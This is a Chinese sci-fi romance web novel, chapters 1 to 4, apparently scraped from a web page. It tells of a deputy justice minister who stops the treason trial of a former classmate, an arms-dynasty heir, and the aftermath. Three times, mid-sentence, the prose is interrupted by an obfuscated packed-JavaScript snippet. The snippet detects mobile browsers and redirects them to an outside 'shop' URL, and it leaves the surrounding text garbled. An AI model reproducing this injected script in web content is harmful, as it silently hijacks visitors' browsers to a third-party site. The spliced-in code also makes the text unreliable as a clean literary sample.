《驯虎指南[gb]》 1. 是她 温暖的日光毫无保留地照耀着星舟联邦司法部大楼前的纪念广场。 一群白鸽在阳光下展翼高飞,它们经过司法大楼银白的弧形外墙,穿过广场前播放星际要闻和司法宣传片的全息投影,最终盘旋着停留在初春生绿的草坪上。 草坪前,一名老师带着一队满脸好奇的新生们在广场上游览,为他们介绍联邦历史。这群师生都身穿着棕色的学院制服,胸前别着“墨菲学院”字样的徽章。 “你们看见右边那栋稍矮一些的银灰色建筑了吗?这就是星舟联邦的中心法院。”老师说着,提醒其中一名同学,“当心!你的精神体红隼想要捕食司法部饲养的白鸽!” 那名同学连忙收起精神体:“抱歉,秦老师。” 老师点点头,继续介绍:“一百年前,我们的联邦政府推翻了帝国主义的统治,通往独立的第一把火就烧毁了旧帝国的皇家大教堂。联邦政府建立后,我们的建筑师们利用大教堂残留的基本的内部结构,将外部大加改造,最终建成了如今的中心法院。” 老师掷地有声地说:“我们并非完全抛弃与反对过去的历史,而是要让腐朽的制度与思想成为新世界的养料。让旧日的废墟见证一个崭新国家的生长。” “秦老师,”队伍末尾的一名学生怯怯举手,“我听说,现在司法部的副部长就是我们的学姐,还是联邦领导团队中唯一一名精神体评级仅为C级的成员,真的吗?” 老师绽开笑容:“当然,大家要记住,精神体等级从来不应该成为我们向上攀登的束缚,这位学姐就是你们的榜样。” 年轻的教师还在为学生介绍着这位出色的校友,广场的另一侧却降下一辆低调的深色飞行汽车,飞车降落时发出的噪音吸引了师生的注意。 这里是联邦行政中心禁飞区,能在这里拥有空中交通权的的只有政府的车辆。 车门打开,一名穿着低奢西服,五官俊美的白发男子迈开长腿从车上下来,他平静地环视一圈周围,没有多余的表情。而他的身旁紧跟着两名全副武装的警察,将他夹在中间。 男人在身旁警察的带领下走向了中心法院。 带队的老师模糊看见了男人的脸,不禁愣住了,而学生的提问及时打断了她的思绪:“秦老师,我好像看见那个人身上戴着精神力抑制环!他是要去参与庭审的罪犯吗?” “也许是……”秦老师喃喃道,“不过我得纠正你一点,严格来说,在终审判决下来之前,我们不应当直接叫他罪犯,而是称呼他为嫌疑人或者被告。” * 百里寻无论如何也不会想到,自己第一次走进星舟联邦政府的中心法院会是以被告的身份。 半个月之前,百里寻还是星舟联邦知名军火家族被寄予厚望的继承人,是万中无一的S级精神体拥有者,是十二岁觉醒异能的天之骄子,是无人敢冒犯的人上人。 只是一夜之间,他就被联邦政府的中央特警队连夜押送至拘留所,所有消息渠道被全线封锁,他没来得及问一句为什么就在密不透风的单人特制拘留所里成为了一名阶下囚。 从踏入拘留所起,他的手腕和脚腕都被戴上了遏制精神力的抑制环。因为他的异能,抑制环特地采用的是高分子材料,包括百里寻能在拘留所接触到的一切都避开了金属制品。 这半个月里,虽然拘留所内的看守人员与警察对他还算客气,给了他保持沉默的权利与不错的生活环境,但百里寻仍然察觉到,这一次他惹上了大麻烦。 今天他终于被带出拘留所,上了飞船,却没想到目的地是星舟联邦中心法院。 法院的大门开启,走入其中的百里寻被要求在原有的抑制环基础上再戴上一套加强版抑制环,保证他不能够在法院中调动一丝一毫的精神力。他在此刻成为了一个完完全全的普通人。 安检机器启动,蓝色的光从头至脚地扫描百里寻的身体,中性的机械音响起:“安全等级:绿色。允许通行。” 穿过长长的走廊,百里寻终于踏入法庭。 皮鞋踩在大理石的砖面上发出清脆的敲击声,在响起的一瞬间,整个喧闹的法庭内安静下来。明明距离开庭还有半个小时,屋内却已经座无虚席。 百里寻大概扫视一眼,才在此刻感受到一丝慌乱。 旁听席上落座的几乎都是政府官员,甚至还有军方的人。虽然他并不是每个都叫的上名字,但最起码其中司法部部长风凌他是认识的。司法部部长风凌的左手边坐着的是他的其中一位副部长艾罗,另一位副部长却不在。此刻二人正垂头翻阅纸质资料。 在信息电子化时代,不方便传播的纸质意味着这份资料具有一定保密级别。 百里寻在被告席站定后,法庭内的寂静重新被交谈声打破,一份资料被递到百里寻手边,他终于能够得知自己被带到这里的前因后果。 百里寻涉嫌走私联邦军队使用的新型激光枪械L85给素来与星舟联邦交恶的辰冕帝国,以走私罪、泄露国家秘密罪、背叛国家罪等数罪被联邦政府起诉。 百里寻阅览一遍材料,抬头看向辩护席,那里坐着的是百里家族的首席律师,曾为他们家族解决过大大小小数百起诉讼。 上午九点整,法庭的门在百里寻身后关闭,正式开庭。 法官入场落座,接着就是冗长的庭审过程。 百里家族因为百年前协助星舟联邦共和国独立,这个从原帝国叛出曾垄断军火的古老家族才得以保留下军火的运输与部分销售权。 而百里寻正是当前运输链的主要负责人。同时,生产期间出现的问题枪械也由他亲自监督销毁。 此时,联邦特别调查小组声称由百里寻负责处理的某批问题L85出现在了辰冕帝国的士兵手中。百里寻闻言不禁难以置信地张了张嘴,望向家族律师。 家族律师为他的清白据理力争,调查小组则不紧不慢地罗列他的罪证。 调查小组给出的关键证据是,两国交火中收缴到的辰冕帝国持有的L85上的芯片标号与百里寻销毁的这批一模一样。 芯片相当于枪械的身份证,记录着编号、生产时间与经手的组织、人员,具有唯一性。并且芯片一旦嵌入枪械就无法取出,原则上无法仿制也没必要仿制。 百里寻心下一沉,他所销毁的这批激光枪正是芯片出了问题,这批芯片嵌入枪械后无法正常录入信息和读取信息,又不能取出来,只得连同枪体送去销毁。 而军队缴获的辰冕帝国人手中L85的芯片居然能够正常使用,只是除了编号,其余信息还没有来得及录入。 百里寻运送这批不达标的枪械销毁的整个过程都有留痕,但如果真要细究,多少总能找出一些可以大做文章的空白间隙。 调查小组组长仍然在和律师唇枪舌剑你来我往地辩论,无事可做的百里寻看够了面前的材料,将目光转向台阶上安静聆听两方发言的法官,竟然开始走神了。 法官的背后墙体的中心位置刻着巨型星舟联邦共和国国徽。 那是一艘破浪而来的船,船身围绕着十三颗星星。 寓意在星海中承载文明的方舟,而十三颗星星代表着组成星舟联邦共和国的十三颗主要行星。 百里寻就是将瑕疵枪械运送到这十三颗星星中的第十星上进行销毁的。 国徽上的星星们都做成了窗户,正对南方,天气好的时候,阳光会点亮这些星星,无声衬托出它们面前法官的权威。 百里寻见过这座皇家大教堂曾经的内部照片,国徽的位置曾是花窗,法官的位置曾摆放着旧帝国国教圣魂教的唯一主神“魂主”的雕像。 星舟联邦政府自从成立后一直明里暗里打压残余的圣魂教势力,全联邦还有更多或改造或拆除的圣魂教教堂,但圣魂教的影响不是朝夕可除的,百年过去,政府依然在和这些信徒对抗。 比如自己昔日同窗,就有不少圣魂教的信徒,有些甚至大张旗鼓在同学间宣扬圣魂教的权威,有些则在暗中信奉魂主。 自然,还有更多对此完全不感兴趣的学生。 比如……她。 她从来不信奉圣魂教,甚至明确对此表达出反感,因此招惹了不少她完全没有能力抵抗的敌人。 百里寻还记得那一日她被按在地上的狼狈模样,那三个与她同级却在此刻神情狠戾死死按住她的学生皆是学院中有名的富家子弟。 尽管苍白的脸庞几乎要贴到地面,她仍然在他们手下竭力挣扎。 可她区区一个C级精神体,如何能抵抗A级精神体的压迫性精神力? 三个富家子弟拿出一个魂主的雕像摆放在她的眼前:“你敢不敢对魂主发誓,你没有偷我们放在教室柜子里面的宝石? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203756|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “我没有偷!但我绝不会对着魂主发誓!”明明狼狈之极,她的声音仍然高昂,“那是你们的神,不是我的!” “哦?”霸凌者捏起她下巴,“那你的神是谁?” 她的目光灼灼,不屑地笑了一下:“你们不配知道。” “你!” 她还在挑衅:“我是个法学生,我只讲律法,要我发誓,可以。你们把宪法拿来,我要对着联邦宪法起誓。” 只有联邦政府要员就职时才会对着宪法起誓。 倘若有朝一日她能够成为那个在台上向宪法宣誓的政府要员,他们三个必然不敢再冒犯她。 这话未免太过嚣张。 霸凌者被成功激怒,其中一名扬起手,对准她的脸:“我看你不想活了!” 百里寻从阴影里走出,看见百里寻,那三个正要打她的学生一下子全部噤了声。 百里寻微微皱眉:“这么明目张胆干什么玩意!你们不怕被老师记过留级,我怕!” 他们连忙松开她,迅速收起魂主雕像,恭敬地喊他:“寻哥。” 她从地上爬起来,以极快的速度整理好被揉乱的发丝以及身上校服的每一处褶皱,目不斜视地推开教室门走了出去。 甚至没有看百里寻一眼。 她的背挺得笔直,脚步没有一丝犹疑,仿佛刚刚被按在地上的不是她。教室外日头正烈,百里寻就这么看着她的背影被刺目的日光吞没。 百里寻又回味了一遍当时她嚣张的宣言,她有自己的神,那会是什么样的神呢?她居然也会信神? 一想到她弯下那骄傲的脊梁骨向神叩拜的场景,百里寻觉得太过违和,不禁笑了一下。 法槌怒响。 “百里寻,你笑什么!” 百里寻被法官一声呵斥唤回了神,连忙站直身体,“抱歉,我们继续。” 百里寻打起精神听了会,又看了眼旁边的自家律师,律师如死灰般的脸令百里寻预料到这场庭审的结果。 此时的自己和当初的她又有什么分别呢? 欲加之罪,何患无辞。忧虑无用,不如神游。 他不老实的思绪只安定了这一刻,又再次飞远。 他记得,在某次学院新老交流会上,她说她想当法官,所以选择进入法学系学习。 百里寻看着台上穿着黑色长袍的法官,想象了一下如果是她穿上法官长袍会是什么模样。 然后突然意识到,其实他记忆里的她的面容已经开始模糊了。 后来的她没有成为法官,而是走上了另一条道路,另一条他可望而不可及的道路。 他离开学院之后的七年间再也没有见过她。 如果自己真的被摁死犯了叛国罪,以后大概也不会有机会再看见她了。 好像有点遗憾。 究竟是谁在明目张胆地陷害自己?陷害他这个百里家未来的家主?百里寻百思不得其解。 即使最终结果不是一场庭审就能确定的,但百里寻的直觉告诉他,如果没有天降关键证人与证物,自己恐怕真的要玩完了。 他没什么好办法,只能盯着在透过星窗照进来的阳光里飞舞的尘埃发呆。 忽然,他敏锐地察觉到四周安静了下来,是轮到他说话了吗? 百里寻眨了眨酸涩的眼睛,捕捉到了法官异样目光的方向,不是自己,而是门口。 法庭门上的红色光标转为绿色,意味着有人从外部打开了门锁。 百里寻凝神细听,门外大概有五六人。就在百里寻猜测是谁要在这时候闯入庭审的时候,门开了。 当看清为首的人时,百里寻的瞳孔微微一缩。 她迎着日光步入法庭,黑色的长靴擦拭得一尘不染,长靴之上是深紫色的联邦政府高级官员制服,每一粒扣子都在日光下闪着金色的光泽,但丝毫没有夺去她本身的光芒。 她那一头乌黑的长发简单挽起束在脑后,薄唇紧抿成线,一如既往清冷而坚定的面容清晰地映入百里寻的眼中,修补了他记忆里被时间磨花的那一角。 她取下原本别在胸口的身份勋章,平举在胸前,面向台上的法官,一字一句地说道: “我,宁以歌,以星舟联邦共和国司法部副部长的身份申请终止庭审,重新启动调查程序,一切后果由我一人担保。” 2. 握手 法官扶了下眼镜,用充满怀疑的口吻问宁以歌:“为什么?” 宁以歌示意身后的人将文件给她。这时百里寻才将注意力转向她身后的四个人,其中三人身穿低级别政府官员的灰色制服,两男一女,带头的女生将手中的文件夹递给宁以歌。 宁以歌接过来,打开精准翻到某一页。 “L85并不是在运输过程中传到了辰冕帝国人手中,而是在设计阶段就出了问题。”宁以歌展开一份报告,“诸位请看,这是分别对我国现有的L85以及从辰冕帝国收缴来的L85材质成分鉴定报告。缴获的L85中多了微量到几乎可以忽略不计的萤微晶石杂质。大家应该大部分都没听说过这种矿石,萤微晶石为淡白色矿石,因为在紫外线下会泛出点点荧光绿而被命名为‘萤微’。这种矿石性质不佳,大多作为观赏石,而最重要的是,我国境内没有萤微晶石矿。” 她扫视一眼庭内的各位听众,继续说:“凑巧的是,萤微晶石在辰冕帝国境内很常见。更凑巧的是,辰冕帝国境内最大的一处铁矿就紧挨着萤微晶石矿。因此,在辰冕帝国生产制造的含铁合金制品中有微量萤微晶石并不少见。但,我国生产制造的合金产品中几乎不会出现此种成分,尤其是我国新研发的军用武器,不可能会含有萤微晶石的情况。” 全场哗然。 法官敲响法槌,待法庭重新安静,才问道:“你的意思是,缴获的这批L85不是我国生产的?” 宁以歌:“没错,除非我国生产这么多批L85,只有这批L85采用的原材料来自辰冕帝国。” 这当然不可能,星舟联邦和辰冕帝国交恶多年,两国之间的摩擦与战争从未彻底停止过,对于军用武器的设计与生产更是时刻处于竞赛的状态,因此争夺具有矿物资源的边境星球就是最为常见的开战理由。星舟联邦的第十二星就是如此沦入战火之中。 辰冕帝国最大的铁矿更是不可能会与星舟联邦分享?更何况,星舟联邦本身也并不缺少铁矿资源。 “所以,目前辰冕帝国能够持有含萤微晶石的L85唯一的可能是,L85在生产前设计图纸就遭到了泄露。辰冕帝国拿到了设计图纸,在他们国家境内生产出了与我国的几乎一模一样的L85。”宁以歌说,“至于在缴获的L85中还发现了我国生产制造的芯片这一疑点,我倾向于L85在生产环节也出了问题。” 宁以歌的目光终于落在了百里寻的身上,只是片刻又收回:“如果真是这位只负责运输链的百里先生泄露的L85,就无法解释如上两点。我认为应该针对设计与生产环节的所有涉事人员重新启动调查程序,庭后我也会亲自向安全部部长和执政官汇报此事。” 法官默了默,让宁以歌上前将材料交给她。法官仔细研读一遍,叹了口气,宣布庭审终止。 宁以歌暗暗松了口气,而后径直走向旁听席的司法部部长风凌和副部长艾罗,老老实实地垂下头:“老师,师兄。”随后她简单复述了前因后果,为自己的独自行动道歉。 风凌摇摇头:“你呀。”其余的便再没多说。 向老师请过罪后,宁以歌又转向旁听席上的其他官员,与他们一一打了招呼,并简洁地回答他们的疑惑,目送他们离席出门后,才低头收好材料放进文件夹中,将文件夹交还给特别调查小组副组长夏洛特。 做好这一切,宁以歌准备跟在风凌身后离开,忽然脚步一顿,侧过身来。 身侧的百里寻已经被法警卸下身上的抑制环,此时正在整理自己的衣领。他的目光几乎没有离开过宁以歌,这时,她才终于回应了自己的注视。 百里寻先张开口:“宁以……” 他微妙停顿,重新调整措辞:“宁部长。” 宁以歌的脸上浮起令人捉摸不透的笑容:“恭喜恢复自由身,百里先生。” 百里寻勉强跟着笑了下,向宁以歌伸出手:“谢谢。” 宁以歌与百里寻四目相对,握住了他的手:“不客气,就当你欠我的。” 百里寻眼角一抽,忽然想起了某些算不上愉快的记忆,无言地维持着脸上的假笑,握紧了面前女人的手,掌中丝绸的触感使他这时才注意到宁以歌的手上戴着一双洁白的薄手套。 白色的丝绸紧紧贴合着宁以歌的皮肤勾勒出她修长而节骨分明的手型。这是一双漂亮的手,可惜手上包裹着的丝绸泛着冷意似乎无声抗拒着他人的亲近。 百里寻记得官员的形象要求并不包括戴手套这一项。宁以歌是什么时候开始戴手套的? 宁以歌发觉百里寻半天没有松开手的意思,也不服输似的紧紧回握。明明矮百里寻大半个头,她昂着头注视百里寻眼睛的气势却完全不输给对方。 她自然察觉出百里寻有些走神,但她不愿先松开手。 百里寻重新将目光移回宁以歌的脸上,与她眼中的不解与嫌恶相撞,不禁一愣。 就在此时,一双覆着轻薄银甲的手不知什么时候冒了出来,一左一右握住宁以歌与百里寻的手腕。 他们停止了所有思绪,齐齐看向这双手的主人。 此人身上全副武装,穿着的是防御与攻击性能俱佳的轻型贴身银色铠甲,面上覆着单向透明面罩,看不清面容。 百里寻认出来,这是联邦政府破例为精神力低微的宁以歌配备的私人异能者保镖,从宁以歌进入法庭时就一直默默跟在她身后。通常只拥有B级精神体的高级政府官员都能配备高级精神体保镖,但一般不会是异能者。毕竟联邦的异能者数量太少了。 如果他没记错,这位异能者保镖从宁以歌初露头角后的六年间一直跟在她身边,百里寻听说过,宁以歌从名声大噪起引来的不少刺杀者,据说都是被面前这位保镖一一手刃。 银甲人说话了,略带敌意的声音穿过银甲自带的传声器,有些微微失真,但仍然能听出来是个年轻女性。 “你们握手就好好握手,半天不松开是在掰手腕呢?” 说这话的时候,银甲人一直将脸朝着百里寻,百里寻怀疑,她想说的其实是“你”而不是“你们”。 银甲人微微用力把两个人的手往两边拽,他们才在此时同时松手。 宁以歌安抚身边人:“没事,安迪。” 安迪?百里寻咀嚼了一下这个耳熟的名字,宁以歌当年在学院时,好像就有一个叫安迪的女孩子喜欢天天跟在她身后,只是那个安迪当时并未觉醒异能。 宁以歌重新展开得体的微笑:“百里先生如果没什么事的话,我就先走了。” 百里寻勾起唇,礼貌颔首:“慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203757|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,宁部长。” 在原地驻足的百里寻抬起刚刚与宁以歌相握的右手,曲起手指轻轻摩挲掌心,宁以歌手套的丝质感仍然停留在他的神经记忆中。他终于想起了曾在新闻边角栏看见的有关于宁以歌戴手套的习惯的传言。 “百里寻先生您好!认识一下,我是夏洛特,此次特别调查小组的副组长。” 百里寻的思绪被打断,他垂首看向身边一直没走的先前跟着宁以歌闯入法庭的那三个年轻人。 为首的女生看起来不过二十出头,面容稚嫩,戴着圆圆的眼镜,表情诚恳生动,正是她主动向百里寻打的招呼。百里寻笑了笑:“您好。” “先跟您说声抱歉,是我们调查小组的问题,导致您被冤枉。”夏洛特摸了下鼻子,“其实我们组内出了点矛盾,导致我们三个与组长意见相左的成员决定单独行动,只是我虽然作为副组长,但几乎没有什么权限,只得去求救宁部长。幸好,宁部长果然如传闻中是个顶好的人,听完我们的推测就果断决定帮助我们。” 夏洛特咬重“顶好”的音,百里寻看了她一眼,她回望着他的眼睛亮亮的:“您知道宁部长为什么执意半途打断庭审吗?” 没等百里寻发出疑问,夏洛特就自己回答了:“因为宁部长说,等一审结束,您和家族的名声势必会受到影响,所以不能让这场庭审出结果。” 百里寻微微诧异,他自己倒是没想这么多。“……她有心了。” 夏洛特的眼睛亮起来:“我听说您和宁部长都是墨菲学院的优秀毕业生?墨菲学院也是我的母校,如此算来,我也算是你们的学妹,嘿嘿!” 熟悉的学院名字久违地出现在耳边,百里寻恍然片刻:“原来是学妹,那你是哪一年毕业的?” “我是新历777年毕业的,我刚入学的那一年宁部长就毕业了,真是遗憾!不过不瞒您说,我入学的时候学院里还流传着你们的故事呢!” 学院里的事么,想都不用想,故事里的宁以歌永远是那个高洁坚韧的小白花形象,至于百里寻嘛,大概是宁以歌的绝对反义词。 百里寻如鲠在喉,又想到如今这副丢人的局面,不知道怎么回答,半天只是干笑:“见笑。” 人尴尬的时候总想逃离,百里寻连忙示意夏洛特一起离开法院,夏洛特立马跟上他,继续刚刚的话题。 “怎么会见笑呢!您可是学院中难得的S级精神体拥有者!据说当时整个学院只有你这一个S级。”夏洛特眼睛一转,“虽然我听说的故事里您和宁部长没什么交集,但你们是不是认识,还挺熟?” “如果相熟,宁部长刚才也不会和我这样客气。你说是不是?” “原来是七年没见吗,宁部长看见被告名字的时候您知道她什么反应吗?” 百里寻脚步一顿。 夏洛特清清喉咙,努力模仿宁以歌沉稳的声线:“怎么是他?” 听不出喜恶的语气和用词,百里寻似乎松了口气。 他不知道的是,作为一名优秀的官员,学会斟酌措辞和管理表情是基本素养。 那天面对夏洛特的宁以歌看见案卷被告那一栏白纸黑字填写的三个字时,差点没有控制住下沉的嘴角和没说完的后半句: “怎么是他……纯粹活该!” 3. 夜店 在听完夏洛特的请求时,宁牧悦大概捋了一遍,决定帮助他们揪出泄密机密军火的背叛者。 若事成,自己可以从中获得协助调查小组破案的功劳,还能借此拉进与安全部新生代成员之间的距离。若事不成,安全部也会为来卖人情的她处理后续的风险,她不必太过担心。 更重要的是,这是一起关系国家安全的案件,容不得半分差池。如果调查小组内讧,很难不保证影响最终结果,她的加入也能够进一步防止此种情况发生。而面前这些年轻人被排挤的模样又令她回想起了曾经的自己。 种种思量之后,宁牧悦接过了夏洛特他们手中的资料。此前她没多问涉事的这名嫌疑人的身份,所以当她看见百里寻的名字时着实一愣。 一种强烈的、想要收回刚刚才达成的合作承诺的冲动差点没使宁以歌失去表情管理。 好在她的理智总占据着主导地位,即使她再讨厌百里寻,也不该在真相未定的情况下眼睁睁地看着这个联邦稀少的S级精神力人才身负死罪。 虽然宁以歌曾经千百次希望百里寻去死。 她深深呼吸一口气,疯狂暗示自己必须得验证百里寻的有罪与否,在翻阅一晚资料后,次日宁以歌带着夏洛特去国防部取了L85的样本,再去科研部做鉴定。 有宁以歌做担保,国防部和科研部非常配合。 结果出来之前,宁以歌也不知道自己究竟希望看见哪种,如果百里寻不是无辜的,她这一趟几乎是白忙活,如果百里寻是无辜的……她又有点希望是假的。 带着古怪的思绪,宁以歌拿到了鉴定报告,这家伙还真是无辜的。 他们慢了一步,报告出来的时候第一场庭审已经开始。夏洛特建议等庭审结束再向上汇报,宁以歌原本没有异议。 但看到完整案件分析报告后,宁以歌改变了主意,她要加大赌注,以最张扬的姿态告诉这场庭审中的所有人。 她入局了。 推开法庭大门,宁以歌故意将视线偏开庭上那个熟悉的白发男子,狠狠地想,这份人情,我替你记着,看你如何还我。 * “以歌,你瞧,他们出来了。” 听见安迪的声音,宁以歌望向车窗外,正在和夏洛特等人挥手作别的白发男人站在法院门口的阳光中格外耀眼,百里家的律师已经先行离开了,百里寻独自一人往路口的方向慢慢走。 他打开半个月被禁止使用的光脑,回复了一串信息,又顺手将他的精神体从精神图景中释放出来,威风凛凛的S级变异精神体金纹白虎恢复了自由,兴奋地在百里寻身边打转。 百里寻蹲下身揉了揉白虎的脑袋,白虎舔了一把他的脸,而后一人一虎并肩继续走。 百里寻生得一副好皮囊,身材颀长肩宽腰窄,还有常年锻炼的痕迹,一身修身西服衬得他气质出众,再加上紧跟在他身边的金纹白虎,在大街上走着惹眼极了。 在他们前方不远处停靠着一辆刻着百里家徽的银色加长型飞车。 散去颓唐之色的百里寻就这样双手插着兜领着吸睛的精神体目中无人地往飞车的方向去。 宁以歌观察良久,冷冷地收回目光,夏洛特等人已经快走过来了,宁以歌闭了闭眼睛,调整神情。 “宁学姐!” 驾驶座的安迪打开车门锁,夏洛特他们立即拉开门进入车内。他们要一起前去向安全部部长汇报。 安全部部长卡尔文是个年过六十却依然精神矍铄的老头,精神力评级为A却觉醒了读心的异能。 在如今的时代,精神体与对应的精神力皆划分为S、A、B、C、D五个等级,其中S级必定觉醒异能,A级有千分之一的概率觉醒异能,而其余三个等级至今没有觉醒异能的先例。 在异能类别中同样存在鄙视链。其中以精神系异能为顶级,其余能力在精神系异能面前几乎没有抵抗之力。但精神系异能极其罕见,联邦目前登记在册的精神系异能者只有五位,卡尔文就是其中之一。 只是卡尔文的这项异能虽为精神系异能却因为觉醒不够彻底而限制颇多,仅能读取目标当前内心所想,并且一旦对方有所防备就极有可能失败。 但仅是如此就已经够用了。 此时的卡尔文背对着办公室门正在浇花,他的精神体猫头鹰站在他的肩上,听见有客人到访,猫头鹰缓缓将脑袋转了一百八十度,硕大的眼睛沉默地注视着他们。 卡尔文转过身来,笑眯眯地放下花洒,洗净双手,向宁以歌等人打招呼:“是小宁啊。” 宁以歌摘下右手手套,与卡尔文简单握了一下:“中午好,卡尔文部长。” “我都听说了,我们家这些孩子闹别扭闹到你那里还真是令人不好意思。” 夏洛特瘪着嘴,她欲言又止后才突然发现部长的办公室里的角落里还站着她的组长白晨风。先前的庭审中,坐在原告席上罗列百里寻罪状的正是白晨风。 他们的组员此时都不在场,两个领头人视线交错,无形火光迸发。 “咳咳!”卡尔文一声干咳,两个年轻气盛的部下才收回目光,一齐站在他的面前。 “晨风,夏洛特,我让你们俩合作是让你们各取所长,而不是像现在这样关键时候搞分裂,倒是让其他部门看我们的笑话了。” “对不起,部长。”夏洛特低下头。 白晨风不服气:“部长,是夏洛特她……” “够了!你还嫌不够丢人?”卡尔文板起脸,“晨风,你先出去好好反思一下,我有事要与宁部长和夏洛特说。” 随着办公室的门重新合上,卡尔文对着宁以歌重新恢复笑容,“见笑了,宁部长。” “新人有些锋芒也是好事,安全部也正需要这样的人才。” “那也得懂得合作共赢,他们还需要改正的地方还是太多了。”卡尔文说,“不过我倒是很意外夏洛特真的向你求助了。” 夏洛特跟在后面补充:“宁部长,我们部长曾经说过,如果以后遇到部门内处理不了的棘手困难,可以找你寻求帮助。” 卡尔文笑了笑:“小宁,我知道,在我们这些人之中,你是最不可能背叛联邦的那一个。” “您言重了。”宁以歌开起玩笑,“这么笃定,您难道看过了每个人的内心?” 卡尔文摇摇头:“人心幽微,禁不起窥探。况且,我也没有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203758|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个本事。” 卡尔文看向夏洛特:“夏洛特,军火走私案之后的调查事务就由你接任组长,有什么关键进展也同步汇报给宁部长,好让大家都心安。至于白晨风我会找他,让他配合你后续工作。” “是,部长!”夏洛特挺身敬了个礼。 安全部主要负责联邦重大刑事案件的调查处理与日常治安维护,部门之中的高层几乎都来自于基层警队提拔,基层职工也全部服过兵役。 夏洛特虽然个头偏矮,看着天真文弱,但宁以歌清楚,她的近视不是读书读出来的,而是某次执行任务作战时留下的旧伤。 告别安全部,宁以歌没顾得上吃饭,转头就让安迪开车飞往执政官所在的联邦政府中心大楼。 星舟联邦的执政官阿莱西亚果不其然也依然在办公室中处理繁杂的事务,经过应允后宁以歌独自进入办公室,不久之后,在门口等候的秘书就看见门开了,宁以歌狼狈地捡起被执政官丢在地上的文件,而后与执政官恭敬地告别,路过秘书的时候还能够得体地向他点头。 秘书抿着唇,和宁以歌打了招呼后向办公室内看了一眼。 靠在皮椅上的红发女人余怒未消,宁以歌的汇报令她无心再处理眼前的杂务,示意秘书她要去餐厅。 一路上阿莱西亚一言不发,这位因为阿莱西亚私人秘书生病请假而上任的临时秘书心里琢磨,果然宁以歌先斩后奏插手安全部的事务触了执政官的逆鳞,以后自己在这方面得多留心才是。 处理完这一切,宁以歌才终于返回司法部,在快要打烊的餐厅里草草吃完饭,又投入日常工作中。 等她划去今日任务清单的每一项后,天色已晚,宁以歌收拾好桌上的文件,一一放入身后的墙柜中,在收拾文件时,光脑突然震动,宁以歌抬手,是安迪打来的电话,每天安迪都会在宁以歌下班时来接她。 但今天,她还没告诉安迪自己下班了呢。 “什么事?” “以歌,我晚上吃完饭没事干就出门遛弯,你猜我看见谁了?” “安迪,你就直说吧,我这会儿头疼,懒得猜。” “我先是看见安全部那个白晨风了,他看起来心情不好又鬼鬼祟祟像是在跟踪什么人,我好奇啊,就跟上去了,结果我发现他去伊甸乐园了。” 伊甸乐园,星舟联邦主星上规模最大的夜店。 “我就跟着他进去了,你猜我发现他在跟踪谁?” 宁以歌回以沉默,安迪也不觉得失趣,继续兴致勃勃地说下去。 “他在跟踪百里寻!原来这小子还不死心,在想办法捶死百里寻,他也没想到,百里寻这家伙死里逃生,不想着安分度日,转头泡吧来了!” 宁以歌冷哼一声:“多年不见,他还是这样无可救药。” 宁以歌其实熟悉伊甸乐园这个地点,那是一个充斥着烟酒味、舞曲声与糜烂气息的沼泽,腐臭的泥泞下掩藏着上流人士不可昭人的丑恶欲望。 还在墨菲学院求学时,她曾被好奇的安迪带着来此处参观,想仔细了解了解学院里那帮豪门纨绔们平日都在什么地方蹉跎光阴。 那帮豪门纨绔中自然也包括百里寻。 4. 聚会 明明灭灭的七彩氛围灯下,百里寻摊在沙发上沉默喝酒的身影倒显得有些颓废。 他特地开了间包厢,将外面喧闹的人声与舞曲隔绝在门外,独自一人享受着清静。直到包厢门被敲响,百里寻也没抬头,只是自顾自一杯接着一杯郁闷地喝酒。 “寻哥!半个月没见,你过得怎么样啊?那帮人有没有为难你?”来人是百里寻唯一信任的好兄弟温昱,今天他在这喝酒的事只告诉了温昱。 百里寻强打起点精神:“没有,我是无辜的,他们为难不了。” “那就好,”温昱在他身边坐下来,倒了一杯酒,“我听说,你那场庭审动静还挺大?是个叫宁以歌的官员救了你?是我知道的那个宁以歌吗?” “嗯,不是同名同姓,就是她。”说起来这件事百里寻就郁闷,为什么偏偏是她在自己最狼狈的时候出现,又再次成为了拯救无辜者的勇者形象? “她怎么成为司法部副部长了?”温昱简直难以置信,“我不是听说政府部门的各部长最起码也是B级精神体吗?她一个C级怎么混进去的?” 百里寻斜睨了一眼温昱:“你还真是一点新闻都不看啊。” 即使是不特意关注新闻的百里寻,也清楚地记得六年前那场轰动整个联邦的官司。才从学院中毕业的宁以歌被派到第十一星担任普法员,在毕业后的第一年里她就干出了一桩惊天动地的大事——打赢了一场几乎所有人都认为没有胜算的官司,维护了一名出身社会底层的D级平民的利益,把侵犯受害者且拥有A级精神体的军人送进了监狱。 